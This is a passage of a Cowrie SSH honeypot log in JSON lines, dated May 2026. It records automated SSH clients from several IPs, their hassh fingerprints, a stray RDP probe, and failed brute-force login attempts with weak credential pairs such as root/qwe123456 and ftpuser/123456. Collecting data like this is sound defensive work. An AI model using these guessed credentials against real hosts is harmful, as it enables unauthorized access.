97:71:74:f7:39:db:d3:ef:b0:f4:d9:86:a8:f7:a9:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:56.620884Z","src_ip":"68.235.62.179","session":"e726e8904a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:71:74:f7:39:db:d3:ef:b0:f4:d9:86:a8:f7:a9:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDnbJtMGolFthDrY1Y8zlPd7oAxGF9R1pfjvt7nSVtZNW+ixIflaSvK6cD9Vllq4W4I9/JJrA9uuW439ziQRxvBBh9JfOFkVF7RjHitxiVnuZDY/4VN/rs3eiqpKe1imQGP3nx+7yjEql2fPgQLR5/qbE/kRjArRtn9SzKCBeuAbTbwAu1+j0LGSxknyjRPjBot1Cm4fPCLQYN196IuvO62cZO4WvrinxIbkooIjHbumwP/ydEZMJjGbMXWxM/yPEsOY0+2FJTKJwQ3wv5O3Xv8X+7gasEWIjpT5YEbwCdCEVK96BSMgx9ZSrW5U7q+BoEhrXozk3MtsRUV8vo/39tc1VTgWBp2W4VVw4cutAInZtJ1OiEWlh4MpOfYUT3TJ704RlF0d46GuRhck06Ux0O1E5Z0rbSSJuwVKzce6zCodkhUwjx+CuIQZPhGqzpEbINLFIgdwJaRPxWx7fi1dUnjYxKu6fz6LFsgbyUEkfH73QcAOgpRcJdBZvhDsdUf1Nt3v7Pog8QGd5mu5vxCNzdm8ZqBd7Ot3UX4hL2eoO3iz5ta7yS79nxLTN5fHJzrmhXZIevxp97M3d0cHohksiokJWXit6Cl081EiFY9oeL5jcqGJTDb3ICJDseDD9EfkSigJeLrOpZWt6If33CWcpfCXC/Wn0lLX6fZ0t/7aMzJlQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:56.624713Z","src_ip":"68.235.62.179","session":"e726e8904a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:56.657279Z","src_ip":"68.235.62.179","session":"e726e8904a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56490,"dst_ip":"159.203.135.109","dst_port":22,"session":"df3cf9ae0406","protocol":"ssh","message":"New connection: 83.168.110.85:56490 (159.203.135.109:22) [session: df3cf9ae0406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:57.057652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:57.060982Z","src_ip":"83.168.110.85","session":"df3cf9ae0406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:57.180331Z","src_ip":"83.168.110.85","session":"df3cf9ae0406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:57.544965Z","src_ip":"83.168.110.85","session":"df3cf9ae0406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":55782,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6d3e363edf3","protocol":"ssh","message":"New connection: 147.45.199.80:55782 (159.203.135.109:22) [session: b6d3e363edf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:57.600058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:57.604342Z","src_ip":"147.45.199.80","session":"b6d3e363edf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:57.699444Z","src_ip":"147.45.199.80","session":"b6d3e363edf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"132132","message":"login attempt [root/132132] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:57.983933Z","src_ip":"147.45.199.80","session":"b6d3e363edf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:58.720484Z","src_ip":"83.168.110.85","session":"df3cf9ae0406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:59.080865Z","src_ip":"147.45.199.80","session":"b6d3e363edf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57158,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc6e06b28514","protocol":"ssh","message":"New connection: 83.168.110.85:57158 (159.203.135.109:22) [session: fc6e06b28514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:07.429120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:07.432731Z","src_ip":"83.168.110.85","session":"fc6e06b28514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:07.553237Z","src_ip":"83.168.110.85","session":"fc6e06b28514","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:07.914776Z","src_ip":"83.168.110.85","session":"fc6e06b28514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:09.039016Z","src_ip":"83.168.110.85","session":"fc6e06b28514","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57567,"dst_ip":"159.203.135.109","dst_port":22,"session":"7325285f5fcb","protocol":"ssh","message":"New connection: 152.42.212.128:57567 (159.203.135.109:22) [session: 7325285f5fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:12.482015Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:12.487432Z","src_ip":"152.42.212.128","session":"7325285f5fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:12.492118Z","src_ip":"152.42.212.128","session":"7325285f5fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42834,"dst_ip":"159.203.135.109","dst_port":22,"session":"b83c40cdb86c","protocol":"ssh","message":"New connection: 83.168.110.85:42834 (159.203.135.109:22) [session: b83c40cdb86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:17.814507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:17.819165Z","src_ip":"83.168.110.85","session":"b83c40cdb86c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:17.939518Z","src_ip":"83.168.110.85","session":"b83c40cdb86c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:18.300344Z","src_ip":"83.168.110.85","session":"b83c40cdb86c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:19.423206Z","src_ip":"83.168.110.85","session":"b83c40cdb86c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58160,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3657cfd4f6d","protocol":"ssh","message":"New connection: 83.168.110.85:58160 (159.203.135.109:22) [session: d3657cfd4f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:27.951767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:27.957011Z","src_ip":"83.168.110.85","session":"d3657cfd4f6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:28.077864Z","src_ip":"83.168.110.85","session":"d3657cfd4f6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:28.442227Z","src_ip":"83.168.110.85","session":"d3657cfd4f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:29.597711Z","src_ip":"83.168.110.85","session":"d3657cfd4f6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":36452,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e446e52c16c","protocol":"ssh","message":"New connection: 109.237.96.109:36452 (159.203.135.109:22) [session: 2e446e52c16c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:32.167543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:32.172992Z","src_ip":"109.237.96.109","session":"2e446e52c16c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:32.262890Z","src_ip":"109.237.96.109","session":"2e446e52c16c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angel","message":"login attempt [root/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:32.530760Z","src_ip":"109.237.96.109","session":"2e446e52c16c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:33.623362Z","src_ip":"109.237.96.109","session":"2e446e52c16c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49724,"dst_ip":"159.203.135.109","dst_port":22,"session":"d16d5a8bfcb0","protocol":"ssh","message":"New connection: 83.168.110.85:49724 (159.203.135.109:22) [session: d16d5a8bfcb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:38.156706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:38.161182Z","src_ip":"83.168.110.85","session":"d16d5a8bfcb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:38.282090Z","src_ip":"83.168.110.85","session":"d16d5a8bfcb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:38.643574Z","src_ip":"83.168.110.85","session":"d16d5a8bfcb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:39.818031Z","src_ip":"83.168.110.85","session":"d16d5a8bfcb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49064,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a766e0f5a1c","protocol":"ssh","message":"New connection: 83.168.110.85:49064 (159.203.135.109:22) [session: 3a766e0f5a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:48.684595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:48.689960Z","src_ip":"83.168.110.85","session":"3a766e0f5a1c","protocol":"ssh"}
